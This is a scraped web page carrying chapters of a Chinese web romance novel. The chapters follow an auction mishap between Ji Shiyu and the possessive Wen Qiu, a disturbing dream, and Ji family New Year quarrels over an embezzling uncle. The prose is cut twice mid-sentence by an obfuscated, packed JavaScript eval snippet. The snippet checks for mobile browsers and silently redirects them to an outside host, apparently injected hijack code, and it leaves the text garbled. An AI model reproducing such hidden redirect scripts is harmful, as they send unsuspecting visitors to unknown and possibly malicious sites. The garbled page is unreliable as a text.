l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814619|158654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大小,只见台子平面分为两半向下打开,下面升上来了要拍卖的物品。 在二楼的东侧有块大屏幕,屏幕上显示着物品的完整度和介绍,方便楼上的贵客观察。 拍卖会正式开始,拍卖师讲述者台上物品的来历和价值,有些人已经开始蠢蠢欲动。 吴小少爷待在二楼的贵宾室,紧盯着对面楼上的闻湫,看出闻湫在慢慢接近季时昱,瞬间破防,咬着牙暗骂狐狸精。 季时昱跟关秘书交代着工作的事,没留意身边的情况。 岳裎有想要的东西,拍卖开始就目不转睛地盯着下面,以免错过喜欢的,压根没往季时昱那边看。 贵宾室每把座椅都安装了电子程序,上面录入了每个人的信息,座椅扶手上有个按钮,按一次则是按照拍卖师所说的最低价格往上加价,若想直接拿下可以走到护栏前举牌子报价。 季时昱和关秘书聊完,关了手机放一旁,端起桌上的茶喝了口。 他喝了小半盏茶,放下茶盏看着下面的物品,对这些没兴趣,听得有些犯困,拿出手机,点开了一个小游戏随便玩着。 闻湫对下面的物品更没兴趣,暗戳戳地往季时昱那里靠了靠,看着手机屏幕,低声问:“哥哥,你在玩什么?” 季时昱:“给鳄鱼洗澡。” 闻湫歪头,“好玩吗?” 季时昱:“不好玩。” “看着好好玩,可以让我试一关吗?”闻湫嘴上这么说,眼神却在往对面的二楼贵宾室瞟。 他捕捉到吴总儿子偷看的眼神,冷眼瞪回去,再小心翼翼地往季时昱身边凑了凑,低垂着脑袋看手机上的游戏。 “想玩就拿自己手机下载。” 季时昱看到他们快要贴在一起的双腿,想转头跟闻湫说别离那么近,结果刚扭过脸,嘴巴蹭到了闻湫冰凉的耳朵。 “!” “……” 闻湫维持着低头的姿势,耳朵逐渐爬上绯红,过了好一会儿,单手捂住耳朵,朝着和季时昱相反的那一侧靠去,不过是刹那间,脸上蔓延了难以忽视的微红。 25. 你理理我 三楼7号贵宾室在和6号贵宾室竞价,随着拍卖师一声比一声高昂的报价,会场上陷入了熙熙攘攘地讨论声。 2号贵宾室静得可怕。 岳裎扶着下巴,饶有兴趣地观赏这场戏。 季时昱面不改色端起茶抿一口,内心慌乱又怪异,陶瓷茶盏贴着唇瓣,同样的冰凉,令他想起了方才柔软的触感。 啪嗒一声。 茶盏重重放到茶几桌上,里面仅剩的茶水随着力度溅了出来。 “你怎么了?”岳裎被吸引了注意力。 “没事。” 季时昱勉强维持着冷静,瞥到闻湫在摸他自己的耳朵,明明只是不小心触碰了一下,整只耳朵都红透了。 闻湫眼底暗涌流动,兴奋到血液沸腾,偏偏还要故作羞怯无措来掩饰内心的雀跃。 他提着胆子一点点靠近,私心占了一部分,另一部分是为了气一下姓吴的,没想到会亲上。 他们所在的位置很显眼,那一幕被不少人看在眼里。 吴小少爷亲眼看着季时昱主动亲吻闻湫,天都塌了! 怎么会是真的!怎么可能是真的! 他好不容易想了一个‘是闻湫故意接近季时昱,季时昱压根懒得搭理闻湫’的借口哄好了自己,结果当场被击碎,立马红了眼,端起桌上的高度烈酒,毫无理智地往下灌。 吴总吓了一跳,“怎么了?谁刺激你了?” 吴少爷不说话,傻不愣登地一直喝酒。 7号和6号贵宾的争执,由6号主动放弃作为结果,拍卖台上升起下一件拍卖物品。 拍卖师话音落地,三楼2号贵宾室上方亮起绿灯,4号贵宾室紧跟其后。 岳裎干脆直接说了一个价。 4号再无动静。 没有其他人竞价,物品落到岳裎手中。 顺利拍到第一件心仪物品的岳裎心情不错,正要跟季时昱说买下的原因,扭脸看到季时昱和闻湫异常沉默地坐在那儿,两个人身上散发着一种‘此地无银三百两’的气息。 岳裎看气氛那么怪,到了嘴边的话咽回腹中。 季时昱忽然起身往外走。 闻湫立即跟了过去。 岳裎满眼疑惑,得到想要的,也没在这里多留,紧跟着出去了。 三人进了电梯,安静到不可思议。 岳裎刚拿下心仪的物品,心情很好,笑了两声缓和气氛,“你们想吃什么,待会儿我请。” 没有人理他。 电梯到达一楼,季时昱先一步往外走。 “有急事,吃饭的事下次再说。”他撂下这句话,没等回应就快步离开。 闻湫难得没有像条尾巴一样跟过去。 岳裎看着他,问:“回去吗,我送你。” “你不留在这里?”闻湫兴致不高,整个人蔫蔫的。 岳裎不知道他和季时昱怎么了,抿了抿唇,道:“没有想要的了,他们有事可以联系我,我送你回去。” 闻湫:“嗯,谢谢表哥。” 乖还是乖的,就是看不到他对季时昱的那个积极劲儿。 岳裎轻啧了声,可算是看清闻湫的区别对待了。 其他人在楼上看到了这一幕,没发现不对劲,只以为他们有事先离开了。 吴总在和朋友讨论生意上的事,看到儿子站起来往外走,问:“干什么去?” 吴小少爷:“有点闷,去外面透透气。” 吴总:“别乱跑,不想回来就在车里等我。” 吴小少爷从拍卖会出来后,没有看到季时昱的身影,他出来的急,没穿外套,冻得抱着手臂打喷嚏。 季时昱开车去了离拍卖会最近的一处住宅,进屋后直奔洗手间,手伸到水笼头下方,感应水笼头冲出冰凉的水流。 他手掌合在一起接了一捧水,弯下腰,发烫的脸颊接触到凉水开始降温,但依旧不够,脸还是有点发热。 他低着头再洗,一直洗到脸颊不发热,额头的碎发被水打湿,水珠顺着发丝滴落在脸上。 手机响了声,微信收到了闻湫的消息。 【哥哥,对不起。】 【我不是故意要离你那么近的,我没想到会这样。】 季时昱放下手机,抹了把脸上的水渍,没回消息。他两手撑着洗手台,脑中闪过闻湫今天的模样。 闻湫来之前换了身正装,穿上正装后显得格外亮眼,唇红面白、五官精致,身高优越挺拔,在人群中一眼就能看到。 闻湫的气质好,出身也好,不怪别人会把他当成哪家继承人。 回想出来之前,闻湫望着他的眼神,他呼出一口气,又低头洗了把脸。 另一边。 岳裎把闻湫送回了现在住的地方,看着前面的那栋楼,好奇问:“你也住这儿啊?” “我租了昱哥的房子。”闻湫开车门下去,嘴角微牵,笑得有点不自然,“我上去了,表哥再见。” 岳裎:“好。” 闻湫转过身,嘴角最后一丝弧度消失,脸上的表情称得上冷淡。 岳裎回到家,给季时昱打了个电话,谁知却没有人接。 “奇怪了,这俩人到底怎么了。” 深夜。 季时昱终于忙完手头的工作,刚停下来,脑中浮现出白天的事,他拧起眉,握住鼠标接着忙。 半小时后,墙上的钟表时分秒针同时指向12,电脑上所登陆的微信瞬间冒出许多红点。 季时昱工作用的微信登陆在电脑上,手机里的私人微信只响了一声。 他拿起查看。 闻湫:【除夕快乐。】 季时昱关了手机,回屋休息。 受白天的事影响,他躺了两个小时没睡着,翻出了床头柜里的安眠药,起身去外面接水,喝了口水冲下药片。 回到房间接着休息,这次睡着了,还做了个不太好的梦。 依旧是拍卖会场的那一幕,他要走,闻湫紧紧抓着他不放,哑声恳求他不要走。 岳裎和拍卖会的其他人围观着他们。 画面一转。 寂静无声的夜里,闻湫站在路边,车灯隐约照射出他半边身体,另外半边与黑夜融为一体,额头的碎发盖住了眉眼,整个人森冷阴郁。 整条大路上只有他们两个人和一辆车,路边两侧一片虚无的黑,车灯闪了两下,周围刮起了鬼泣一般的狂风。 闻湫穿了件单薄的白色衬衫,袖口向上挽着,小臂上被各种长短的伤痕覆盖,黑发覆盖的额头慢慢流出了刺眼的红色血迹,脸色苍白宛如吃人的恶灵。 画面诡异惊悚,闻湫却哭得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814620|158654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满脸是泪。 “是你先亲我的,你凭什么不负责。” “你再这样装作若无其事,我就要忍不住把你关起来了。” “你理理我,你别不和我说话。” 画面再次变转,闻湫从背后紧拥着他,眼泪滴落在他侧颈,顺着脖颈滑进衣领,耳畔是闻湫发颤的哭腔。 “哥哥,没了你,我会死的,” “呜呜……你怎么可以对我这么冷漠。” “书里不是这样写的,你明明就该爱我的。” 他揉了揉闻湫的头发,说:“书里的一切都是假的,收手吧,我只把你当弟弟来看待。” 闻湫脸上的表情彻底扭曲,用力搂着他,似是要将他揉进骨血里,不停的在他耳边重复说着一句话。 “你不能这样对我。” “你不能这样对我。” “你不能这样对我。” …… 语气越来越偏执,手臂跟着用力,搂得他愈发喘不过气。 …… 季时昱蓦然惊醒。 他心脏扑通扑通地跳动,梦里固执的话语在耳边回荡,默默盯着昏暗的天花板缓了一会儿,按了下床头的遥控器按钮,窗帘向两边打开。 明亮刺眼的光照进来,驱散了身上的寒意。 他松了口气,拿开压在胸口的另一个枕头,从床上坐了起来。 季时昱拿起床头柜上的手机,看了眼时间,疲惫闭上眼睛。 下午三点了。 他第一次睡到这个时间,安眠药是按照正常量吃的,按道理来说不该睡这么久。 季时昱点进了微信,最上面是岳裎的语音通话,呈现红色未接听状态,他退出去,看到手机电话里还有岳裎的两个未接来电。 他手机没有静音,电话铃声没能把他吵醒,可见昨晚睡得有多沉,或许是被那个梦境困着醒不过来。 闻湫发来了几条消息。 季时昱没看,先给岳裎回了个电话,这通电话接的很快。 岳裎:“你可算回电话了,再找不到你我就去季家那儿了。” “睡得太沉了,刚醒,你找我什么事?”季时昱还有点困,但他得收拾一下回老宅了。 岳裎叹口气:“闻湫原来不是打算今天回家吗,到S市时间都跟家里人说好了,结果接机的人没有看到他,打电话没人接,我姨妈联系了我,关键是我也找不到闻湫。” 季时昱揉了揉太阳穴,“你打电话想让我帮忙?” 岳裎:“还不是因为你们俩昨天那么奇怪,你们到底怎么了,闻湫不回家跟你有关系吗?” “不知道,”季时昱回想昨天的事,梦里的画面在脑中加重,烦躁按着脑袋,“我先给他打个电话,不保证能联系上。” “行,你快打给他,有情况了告诉我。”岳裎不耽误他的时间,迅速挂了电话。 季时昱翻出闻湫的联系方式,手指在屏幕上方悬浮几秒才按下去。 不同于岳裎说的那样,闻湫接电话接得比谁都快。 “哥哥?”闻湫的声音沙哑且小心翼翼。 季时昱没绕圈子,直接问:“你在哪儿,为什么不回家?” 电话那头静默片刻,传来了很轻的抽泣声,鼻音中带着浓重地委屈:“那你为什么不理我?” 26-30 第26章 别挂电话 哥哥,你旁边的人是谁? 季时昱没碰到过这种情况, 没有人哭着问过他‘为什么不理我’这种问题。 他掀开被子下床,穿上拖鞋走到落地窗前,阳光迎面照拂,下意识眯起眼睛, “没有不理你, 只是在忙工作。” “真的吗?”闻湫明白这是个借口, 但他愿意顺着台阶下。 季时昱:“真的,所以你为什么不回家?” 闻湫默了几秒,说:“我打不到车。” 季时昱垂目,“这算不上借口。” “我怕你以后再也不理我了, ”闻湫不安道:“只有等到你愿意和我说话, 我才放心。” 这话和告白几乎没差别。 季时昱装作听不懂, 眸底漾起波澜, 淡声说:“昨天的事不怪你,是我自己造成的误会, 你不用那么自责, 我们就当没发生过。” 闻湫:“……好,我都听你的。” 季时昱知晓闻湫不会轻易善罢甘休,所有的话术只是为了做戏给他看, 无可奈何道:“回家吧,现在应该还有回去的票。” 闻湫声音很轻:“我想让你送我去机场。” 季时昱蹙眉,认真思忖顷刻, 答应了:“可以,你先订票, 我开车去接你。” 他没有吃早餐,洗漱后换了身衣服,喝杯冰咖提神, 开车去了闻湫那里。 车开到附近,看到楼下站了个青年,身穿白色薄款羽绒服,黑裤白鞋搭配的很干净,左耳戴着耳机,背后背了个偏商务的纯黑色书包,转头看到他的车,朝这边走了两步。 季时昱在他面前停下车,解锁了车门。 闻湫拉开后面的车门,把背包放进去,来到副驾开车门坐进来。 季时昱看那个包不像是装了衣服的样子,随口问道:“就拿这么点儿?” 闻湫沉默点头,摘下了左耳的耳机放进羽绒服兜里。 离得近了,季时昱透过鼻梁上的镜片,看清了闻湫的脸色。 闻湫肉眼可见的没精神,眼睛泛着红血丝,脸色发白,嘴唇微干且颜色浅淡,在他看过来时,偏头捂着嘴巴咳嗽了两声。 乍一看,比平常添了些凄楚的破碎感。 “哥哥,我好怕你再也不理我了,昨晚都没有睡好觉。”他轻声说完,又掩着嘴巴咳几声。 “我在忙工作,你别乱想。”季时昱猜到闻湫肯定会乱想,停车前就将车窗打开一条缝隙。 昨天发生过那种事,他无法预测闻湫会想多么离谱的事,还是不听比较好。 闻湫单手捂紧嘴巴狠咳了几声,咳到眼眶发热,眼尾泛起红,一副‘我好可怜,快点关心我’的娇弱模样。 季时昱直视前方,连余光都不曾给他。 一个小时后,黑色商务车在机场外停下。 闻湫整个人好像没得到主人关心的狗狗,若头上有对耳朵,肯定蔫巴巴的垂了下来。 “哥哥,我走了。” 季时昱轻嗯一声。 闻湫下车去后座拿了背包,再反回来跟他打招呼,“哥哥,年后再见。” 季时昱看着闻湫进了机场,准备开车离开,突然瞥到个眼熟的人,动作顿住,怀疑是不是自己看错了。 不是说今年过年不回来了吗。 可惜这里的车要即停即走,没办法下车一探究竟。 季时昱开车回到老宅,看到了季帆嵘的车。他下车碰到林管家,问:“我爸妈今天回来?” 林管家诧异道:“先生太太没告诉您吗,司机已经去机场接他们了。” 季时昱:“我知道了。” 元旦后他专门问过爸妈,得到的答案是今年不回,环游世界是他们盼望多年的共同梦想,在外面早就玩嗨了。 林管家看着季时昱长大,自然了解他,猜到了为什么这样问,解释道:“是闫老先生让太太回来的。” 季时昱应了声,往屋里走,到门口时听到了里面小心翼翼讨好的声音。 “爸,这个力度还行吧。” “嗯。” “您看那边这么缺人手,过了年就让我回去吧,我保证不再犯糊涂了。” 季时昱进屋,入眼是季帆嵘单膝跪在地上给老爷子按腿的画面,他脚步稍作停留,神色淡定的往老爷子那边走。 季帆嵘背对着门口,不知道有人进来,他低头仔细按着老爷子的腿,心里想着季氏集团。 趁着季任烽环游世界,他得好好回来扮演孝子,必须让老爷子知道谁才是真正的孝子。说不定等老爷子哪天不行了,他还有机会得到肖想已久的东西。 季帆嵘眼里浮现出几分怨毒,恨不得把手转移到老爷子脖子上紧紧攥住,好好质问一下这个老家伙究竟有没有把他当儿子看待。 “时昱回来了啊。”季老脸上露出和蔼的笑容。 季帆嵘一顿,笑着抬起头,“时昱这次在分部真是出尽了风头。” 季老皱眉。 季时昱无视他的阴阳怪气,视线在屋里扫视一圈,“奶奶呢?” “和茵茵她们在楼上,季忱昨晚上跟人打架,她们正在上面教训他呢。”季老拍了拍季帆嵘的手,“别按了,待会儿你哥和你嫂子回来,你去房间换身衣服再下来。” 季帆嵘听到‘你哥和你嫂子’,脸色微变,问:“大哥不是不回家过年了吗?” 季老:“问那么多干什么,快去换衣服。” 季帆嵘喜欢卖惨,年少十几岁时学会的这招,用到中年也不嫌腻,为了博老爷子心软,大早上去扫院子思过,弄得一身潮,鞋子上沾了挺多混了冰霜的泥土,附近地板上全是他的脚印。 他灰溜溜地站起来,“那我上去了。” 季老嗯一声。 季帆嵘自以为很小心地瞪季时昱一眼才肯离开。 季老无声叹息。 季时昱坐在侧边的单人沙发上,“请大夫来看过吗?” 老爷子腿不好,天冷时刺骨的疼,平常会请中医用药热敷治疗。 “早上药敷被你叔叔看到了,非要给我按。”季老揉了揉膝盖,说:“年后让他在家多待一段时间,等事情平息了再说吧。” 季时昱去国外一趟,处理了三个高层和两个中高层,齐远骏跟季帆嵘走得近的事儿闹得沸沸扬扬,最底层的员工都听说了,年后几个月肯定消停不了。 季时昱应了声,没反驳老爷子的意思。 在他看来,季帆嵘回去依旧是当害虫。不过没有关系,他会在季帆嵘回去之前把人彻底从季氏拉出来。 季时昱计划许久了,没有要在老爷子面前透露的意思。关乎到季氏的未来,他不会姑息,况且季帆嵘向来看不惯他和他爸。 季时昱陪老爷子聊了一会儿,季任烽和闫絮回来了。 老爷子好一阵子没看到亲儿子,想念得紧,连忙招呼季任烽坐下陪他说话。 “爸,妈。”季时昱出声喊道。 闫絮走到季时昱身边,靠坐着沙发扶手,手搭在儿子肩膀上,“你今天去机场了?” 季时昱颔首,“送个朋友。” 闫絮看向季任烽,“我就说是儿子的车吧,那可是我亲自挑选的车,怎么可能记错。” 季任烽连忙点头,完全一副‘你说得对’的态度。 老爷子问他们都去什么地方玩了。 季任烽说了几个记忆深刻的城市。 闫絮见他们父子俩聊得还行,低头跟季时昱说悄悄话。 季帆嵘和季忱下来时正看到这一幕,前者眼里露出嘲讽,后者笑着跑了过去。 “大伯,大伯母,你们回来了!” 季忱脸上有几块青紫的痕迹,是昨天打架留下来的。 季时昱问他怎么回事儿,他支支吾吾半天不肯说。 闫絮说了几句关心他的话。 不多时,老太太和季忱的母亲尹安玥也下来了,身后跟着季忱的亲姐姐季茵。 “大哥,你回来了。”季茵声音温柔,眼神含笑。 季时昱对季茵点了下头。 季茵想起昨天听朋友讲的八卦,张嘴想说什么,突然意识到这个场面不太合适,便闭上了嘴巴。 季时昱看出季茵有话要跟他说,特意喊人进了书房。 “你想说什么?”季时昱打开了电脑。 “我这次回来,好多朋友都在跟我打听你的事。”季茵坐在椅子上,迟疑道:“大哥,你最近在谈恋爱吗?” 季时昱嗓音清冷:“没有。” “我朋友昨天看到……”季茵对上季时昱淡漠的眼神,没有勇气说接下来的事。 “什么?”季时昱垂目,拿起一旁的文件夹翻了两下。 季茵深呼吸,说:“我朋友昨天去了场拍卖会,她看到你带男朋友一起去的,还、还……” 接下来的话没好意思说。 季时昱知道她想说什么了,“你朋友看错了。” 季茵不是没想过这种可能,但她朋友眼神一向很好,而且朋友说了岳裎哥也在场。她问这么多,终其原因是朋友喜欢她大哥,不然不会多嘴。 季时昱:“别人问什么,你就说不知道。” 季茵点头,“我明白了。” 季茵前脚刚走,桌上的手机铃声响了,季时昱看到来电人是岳裎,拿起接听。 “你和闻湫昨天背着我接吻了?!” 季时昱:“?” 岳裎咆哮道:“你们俩能不能矜持点儿,那么多人在都能亲上,没人了还不得翻天啊!!!” “没亲上,他们看错了。”季时昱毫不心虚。 只是蹭了下耳朵,哪里亲了。 岳裎声调降下来,“好多人说你们亲了,难道大家都瞎了?而且你们俩昨天太奇怪了,我怀疑闻湫把你惹生气了都没怀疑你亲了他!” 季时昱听他不问清楚不罢休的口气,叹了声气,“当时离太近了,不小心蹭到了他的耳朵,没想到会被误会成这样。” 岳裎呵呵冷笑:“所以你们为什么要离那么近?” 季时昱:“他在看我玩游戏。” “他自己没手机吗,还看你玩游戏。”岳裎笑了:“他心思挺多啊。” 季时昱靠着椅子,道:“真相你也知道了,还有事吗,没事挂了。” 岳裎加大音量,“别挂,再聊会儿!” 季时昱抬起手指敲着桌子,“聊什么?” 岳裎:“我觉得你有点过于形容他了。” 季时昱动作停滞,疑惑出声:“纵容?” 岳裎:“举个例子,如果我和今需离你太近了,你早把我们推开了,要不然就是换个位置,你这个人看着表面随和,实际上特别有距离感。” 季时昱认同他的话,说:“昨天的事是意外。” 岳裎:“算了,我不管了,你们爱怎么样就怎么样。真有闹矛盾的那天,我一定站在你这边,你忙吧,我挂了!” 季时昱放下手机,眉头微微拧起。 不等他多想,书房的门再一次被推开,季茵走了进来。 “大哥,我还有件事想和你谈谈。” “坐。”季时昱没问她什么事。 季茵在他面前坐下,说:“是关于我爸的事。” 季时昱:“你说。” 季茵艰涩开口:“我知道他这些年做的事不可原谅,在公司账务上没少动手脚,我不求你放过他,只希望你能给他留一条比较自由的路。” “等证据收集完毕,他的未来如何是由法院判定的。”季时昱在这种事上不能容忍。 “……好,我不打扰你了。”季茵起身离开。 晚上七点,A市下了场小雪,地面上铺盖了一层薄薄的雪,踩下去留下个浅淡的脚印。 长辈们待在楼下聊天,季时昱和季忱在楼上玩游戏,一把打完,手机显出了来电通知,是闻湫的电话。 他关了手机没接,拿起地毯上的游戏手柄,“再来。” 季忱抓了把果仁送进嘴里,重开一局,“哥,外面总有人说你带人回来见家长了,你怎么不澄清一下?” “没必要,随他们传吧。”季时昱盯着前面的大屏幕,手指操作着游戏键。 “哪能随便他们传呢,你不怕影响你找对象啊?”季忱想谈恋爱快想疯了,他可不允许有人这么造谣他。 季时昱:“暂时没有交往的想法,让他们误会下去挺好的,省去了很多麻烦。” “你没想过把造谣的人揪出来?你以前不这样啊。” 季忱清楚记得,早两年有人在传他哥要跟谁家联姻了,谣言刚起来不到二十四小时,他哥迅速把人揪出来给了教训,还找人放出声音,表明不认识谣言中的另一个人。 季时昱:“多操心你自己的事。” 他以前非常在意自己的名声,如今也在意,但在酒会上碰到的牵线事件太多了,久而久之不免烦躁,误会便误会,能够在酒会上落个清净,他不认为这是坏事。 他想得出神,稍不注意就死了。 “哥,我帮你复仇!”季忱像打了鸡血一样坐直身子。 屋里的门被人从外面打开,季茵端着水果进来。 她走到地毯前,脱了鞋踩上来,跪坐在季时昱身边,把水果盘放到地毯上的小茶几桌上,捏着小叉子叉了颗车厘子放进嘴中,扭头看上面的游戏。 “季忱你行不行啊,不行让我来。”季茵看着弟弟的蠢操作,眼中露出嫌弃。 季忱拿着游戏手柄到她身边,快速递给她,“你来你来!” 季茵接过,认真操作起来。 季忱吃着水果,丝毫不说丧气话,他相信他姐一定能赢。 季时昱抬起头看向季茵。 季茵在游戏上有格外出色的天赋,手速特别快,对于许多游戏都能迅速研究透彻,如果不是季帆嵘不同意,季茵或许会成为一名出色的电竞选手。 “姐!那边那边!还有那!”季忱在一旁看着,笑意扩散,“还是我姐厉害。” 季时昱盯着前面的屏幕,很赞同季忱的话。 三人在游戏房待到晚上,直到银安玥敲响房门。 “别玩了,下楼吃饭了。”尹安玥推开门,看到季茵握着游戏手柄,皱起眉头,“小茵,你少玩这些,被你爸知道了他又要说你。” 房间里轻松的氛围霎时散了。 季茵放下游戏手柄,牵强扯着嘴角,“我没怎么玩。” 季忱撇了撇嘴,站起来,却不敢说什么。 “偶尔玩玩能放松心情。”季时昱捏了颗果盘里的青提。 尹安玥放缓了语气:“也对,偶尔玩玩是不错。” 季忱嘴巴撇得很厉害,就差把‘我不开心’写在脸上了。 “快下楼吧,大家都等着你们呢。”尹安玥有点怕季时昱,不敢跟他多说话。 楼下,老爷子他们都已经入座了,前面留了个位置是季时昱的,后面的位置随季忱和季茵坐。 季时昱坐在老爷子左手边,老太太在老爷子右手边,依次往后是季任烽夫妻俩和季帆嵘夫妇。 今晚是除夕夜,季家的餐桌上没那么多严肃的规矩,老太太笑着说起了老朋友抱曾孙儿的事,老爷子暗示的眼神多次落在季时昱身上。 季时昱淡定用餐,丝毫不受影响。 季任烽和闫絮负责把季时昱养大,其他的不干涉,夫妻俩自动忽略老爷子后面递来的眼神。 闫絮一点都不想抱孙子,虽然用不着她帮忙带孩子,但辈分增长了,想到以后会有人喊她奶奶,浑身都不舒服。 老爷子算是看出来了,亲儿子一家对这方面毫无兴趣,冷哼一声,气得夹了块姜吃进嘴里,辣得脸色一变,不想失态,最后不得不草草嚼几下咽进腹中。 老爷子没把眼神往季帆嵘一家身上放,一是想孙女儿在家多留几年,二是季忱年纪小,用不着现在讨论这些。 季帆嵘没能等到老爷子暗示,只好自己说了,“爸,我看岑家的二儿子挺不错的,茵茵上次还跟我提起过他。” 尹安玥面露迷茫,试着回想丈夫口中的人,脸色骤然一变。 季茵握紧筷子,“我……” 刚开口,桌下的腿被尹安玥踹了一脚,她木着脸,心冷到了极致。 季老:“岑家的二儿子?谁啊?” 季忱咬着牙说:“就是去年跟金四飙车抢人的黄毛。” 老爷子黑了脸:“茵茵以后要嫁给谁,必须得到我首肯才能行。” 季帆嵘:“那孩子早改了,他现在……” “听说齐远骏早几年惹上过事,是被岑二亲自捞出来的。”季时昱淡声插了句话。 餐桌上的所有人陷入沉默。 过了很久,季帆嵘尬笑道:“是吗,看来是我眼拙了,茵茵也真是的,怎么就看上了这么个人。” 季老爷子扫了眼季帆嵘,表情不悦。 晚饭后,季时昱回屋休息。 他坐在阳台,看着后院的枯枝被白雪覆盖,手机铃声忽然响起,还是闻湫的电话。 季时昱看了一会儿,滑动接听,手机话筒里传来呼啸地风声,却没有人说话。 “闻湫?” “哥哥。”闻湫的声音有些不对。 “你找我有事?”季时昱握了握胳膊下的椅子扶手。 闻湫:“我好想回A市。” 季时昱:“家里人凶你了?” “是我自己不好,和他们没关系。”闻湫呼出的气与风声融为一体,“哥哥,过了年我还去当你助理吧,我不想留在家里。” “你不是说,你家里让你开学前再回来。”季时昱没忘记过闻湫的话。 “我可以偷偷买票回去,只是没有钱,违抗他们就没有钱了,我需要兼职赚钱。” “哥哥,你收留我吧。” “开学后,我周末也去当你的助理,好不好?” “听家里的话,开学前再回来。”季时昱嗓音冷淡,狭长地眸子微微抬起,盯着外面飘到窗户上的雪花。 “嗯,我听哥哥的话,你不要生气。”闻湫小声说。 二人之间倏地静了下来。 不知过了多久,季时昱想挂断电话,对面像是心有灵犀似的,着急说道:“别挂电话!” 他动作停下。 闻湫说:“我一个人在外面,有点害怕,能不能等我回家了再挂电话。” 季时昱起身走到窗台前打开了窗户,冷风灌进屋里,吹得他脑门发凉。 “你离家出走了?”他忽略不了那边的风声。 闻湫:“……嗯。” 季时昱:“经常这样?” 闻湫轻轻应一声。 季时昱:“也给别人打过电话吗?” 闻湫这次答得很快:“没有,没人知道我半夜离家出走,我没告诉过他们。” 季时昱笑了声:“那就是不害怕,电话挂了吧。” 闻湫:“我害……” 季时昱挂了通话,闻湫后面的话没能传进耳中。 下一秒,闻湫的消息发了过来。 【以前有路灯,今天的路灯坏了。】 【哥哥,我身后好像有脚步声。】 【越来越近了,好害怕。】 季时昱没理,听见屋里的门被敲响,抬起眼,“进。” 闫絮推门而入,见他站在阳台,走了过来,“大冷天的开什么窗户,不怕冻感冒啊。” “有点热,随便吹吹风,不会感冒。”季时昱有分寸。 闫絮把窗户关好,说:“我这次回来,听到个传闻。” 季时昱不用想就知道她听到了什么,无奈笑道:“全是假的,有情况我会告诉您和爸。” “我和你爸初六走,下次回来不知道是什么时候了,季帆嵘的事我已经知道了,他没有对你怎么样吧。”闫絮上下打量自己的儿子。 “没有,但有件事我需要提前告知您。”季时昱看向闫絮,眼底隐藏着深意。 闫絮明白了,嘴角弯起,“想做什么就放心做,你爷爷那边不用管,你外公肯定支持你的决定。” 季帆嵘手脚不干净,早该有人教训他了。 季时昱颔首:“我知道了,再让他最后蹦跶一段时间。” “快休息吧,明天上午要早起,下次没事别站在阳台吹风。”闫絮叮嘱了几句,走到门口开门出去了。 大年初一,雪还没停,院子里扫出一条宽阔的道路,林管家站在老太太身后,得了首肯才接下别人送来的礼。 季家没有走动过近的亲戚,小辈不需要去哪里拜年,倒是季家那些八杆子打不着的亲戚一大早就来拜年套近乎。 有些人得老太太赏识,这两年能跟季家说上话,有些人来了只能得到季家二老的冷眼。 季帆嵘身为季家的养子,来的人谁也不曾跟他搭话,更何况大家听说了年底那件事,不会有人傻傻地去找一个犯了错的养子套近乎。 季任烽与之相反,谁来了都想和他说几句,但季任烽不是那种爱跟亲戚走动的人。 不过比起季任烽,来的这些人更想跟季时昱搭话,可惜从头到尾没有见到人。 “姐,刚才来的那个跟咱们家有亲戚吗?”季忱轻声问。 季茵:“没有。” 季忱:“脸真大,还好意思问大哥在哪儿,我看他是专门来找大哥的吧。” “嗯,你别在爸面前提这些事。”季茵瞅着楼下离开的车,声音很轻。 季忱点头,“你放心吧,我都懂。” 三楼。 佣人推门而入,将咖啡放到桌上,拿着拖盘默默离开。 季时昱穿了件白色𝔀.𝓵高领毛衣,下身是休闲黑裤和棉拖,鼻梁上架着无框眼镜,视线盯着电脑屏幕若有所思。 他临时处理点事,早饭过后一直待在书房,并不知道楼下都有谁来过。 不知道过了多久,他拔下U盘,端起咖啡喝了一口。 叩叩—— 书房的门被敲响。 季时昱抬了下眼睛,“进。” 岳裎推门进来,走近后看了眼电脑,啧了声,“大过年的还在工作,你给自己放一天假吧。” 季时昱知道岳裎今天要来,没有很惊讶,“临时出了点问题,你随便坐。” 岳裎没坐下,走到阳台看了两眼,“今天早上和爸妈吃饭的时候,他们忽然提到了闻湫。” 季时昱神情淡定:“然后呢?” “闻湫的妈妈知道他寒假在你身边实习过一阵子,他们不了解你,特意跟我爸妈打听你。” 岳裎得知了闻湫的真面目,表面不在意,其实心情很复杂,他曾经不止一次说过闻湫听话懂事,回想起来都觉得脸上无光。 别人好歹喊他一声岳总,酒桌上看透了不少老狐狸的计谋,没想到这次被一个不到二十岁的男大学生蒙骗过去了。 他仔细想想,心里挺不爽的。 季时昱停了手里的工作,转动椅子看向岳裎,“你想说什么一次说完。” “我妈把你当半个儿子看,肯定说你的各种好啊,闻家那边听完后满意的不得了,想着哪天抽时间来跟你见一面。” “她跟我妈聊了快两个小时,看那样子是打算和我们家长久来往。我爸倒是挺乐意的,毕竟在S市那边多了个可靠的人脉。” “你找我就为了说这些?”季时昱眼睛有点涩,摘下眼镜,闭眼舒缓了一下。 岳裎走过来,拉了把椅子坐下,“你晚上有事儿吗,要不要出去喝点儿?” 季时昱想在家歇着,找了个理由拒绝,“雪天容易打滑,不去。” 此时有人推开了书房的门。 “你们谈完了吗?”季老拄着拐杖进屋。 季时昱:“爷爷。” 岳裎下意识站起来,“季爷爷。” 季时昱走过去扶住老爷子,拉了把椅子让老爷子坐下。 季老笑道:“小岳先坐下。” 岳裎规矩坐下。 季时昱坐在原来的位置上。 “小岳啊,你爷爷最近怎么样?”季老问道。 岳裎:“挺好的,吃得好睡得好,我今天来的时间他还让我跟您问好呢,刚才楼下人多,没顾得上说。” 季老点点头,“这样,我这里有几盒不错的茶叶,你回去给你爷爷捎两盒。” 